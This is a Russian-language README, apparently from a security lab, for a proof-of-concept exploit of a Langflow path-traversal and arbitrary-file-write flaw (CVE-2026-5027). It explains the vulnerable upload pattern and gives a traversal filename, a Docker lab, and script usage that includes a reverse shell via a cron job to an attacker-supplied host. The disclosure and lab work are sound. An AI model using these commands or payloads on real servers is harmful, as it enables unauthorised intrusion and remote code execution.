
Эксплойт proof-of-concept для CVE-2026-5027 — обход пути и произвольная запись файлов в эндпоинте /api/v2/files Langflow, с Docker-лабораторией и опцией reverse shell.
Этот пост представляет собой исследовательскую статью, опубликованную EQSTLab.
Благодарим Yahia Hamza, который сообщил об этой уязвимости и проанализировал её.
★ CVE-2026-5027 Langflow Path Traversal / Arbitrary File Write PoC ★

CVE-2026-5027 : Уязвимость произвольной записи файлов в Langflow
описание: Уязвимость обхода пути в Langflow <= 1.8.4 позволяет злоумышленникам записывать произвольные файлы за пределами предполагаемого каталога загрузки через специально сформированное multipart-поле filename, передаваемое в эндпоинт /api/v2/files. В развёртываниях, где включён авто-вход или аутентификация иным образом слабо реализована, эта проблема может быть использована для достижения удалённого выполнения кода путём записи контролируемого злоумышленником содержимого в чувствительные места файловой системы.
Соберите и запустите уязвимую среду с помощью Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Уязвимый эндпоинт
POST /api/v2/files
Проблема существует потому, что функциональность загрузки доверяет значению multipart-поля filename, предоставленному клиентом. Вместо генерации безопасного имени для хранения на стороне сервера или ограничения разрешённого пути выделенным каталогом загрузки, уязвимый участок кода позволяет последовательностям обхода, таким как ../, влиять на итоговый путь назначения.
В результате злоумышленник может выйти за пределы предполагаемого корня хранилища и заставить приложение записывать файлы в произвольные места файловой системы сервера.
Типичный сценарий эксплуатации выглядит следующим образом:
/api/v2/files.filename, содержащее последовательности обхода пути.По своей сути это проблема CWE-22: Improper Limitation of a Pathname to a Restricted Directory.
Уязвимость безопасности вызвана недостаточной очисткой и валидацией контролируемых пользователем путей к файлам при обработке загрузки. Приложение принимает исходное имя файла от клиента и передаёт его в процесс сохранения без должного обеспечения нормализации и ограничения пути.
С точки зрения защиты, опасный шаблон концептуально похож на следующий:
save_path = base_dir / file.filename
Если file.filename содержит компоненты обхода пути, такие как:
../../../../tmp/poc.txt
итоговый разрешённый путь может указывать за пределы base_dir, что позволяет осуществлять произвольную запись файлов.
Уязвимости произвольной записи файлов часто более серьёзны, чем стандартные проблемы неограниченной загрузки, потому что злоумышленник контролирует не только содержимое файла, но и путь назначения. В зависимости от привилегий выполнения процесса Langflow это может позволить:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Этот репозиторий не предназначен для содействия несанкционированной эксплуатации экземпляров Langflow. Цель этого проекта — помочь исследователям безопасности, защитникам и разработчикам понять уязвимость, проверить подверженность в контролируемых средах и применить эффективные меры защиты.